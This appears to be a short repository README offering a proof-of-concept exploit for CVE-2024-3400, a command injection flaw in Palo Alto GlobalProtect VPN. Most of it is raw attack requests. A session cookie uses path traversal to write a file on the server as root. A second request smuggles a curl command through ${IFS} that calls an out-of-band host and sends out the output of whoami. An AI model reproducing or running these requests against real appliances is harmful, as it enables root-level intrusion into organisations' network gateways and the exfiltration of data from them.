h4x0r-dz/cve-2024-3400Proof-of-concept exploit for CVE-2024-3400, a Palo Alto OS command injection in GlobalProtect VPN. Demonstrates file creation and outbound command execution via crafted HTTP requests.
CVE-2024-3400 Palo Alto OS Command Injection
send this HTTP request:
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
you will create hellome1337.txt file on the server with root access
now if you try to access the files you should receive 403 insted of 404
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.01
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
More Info : https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis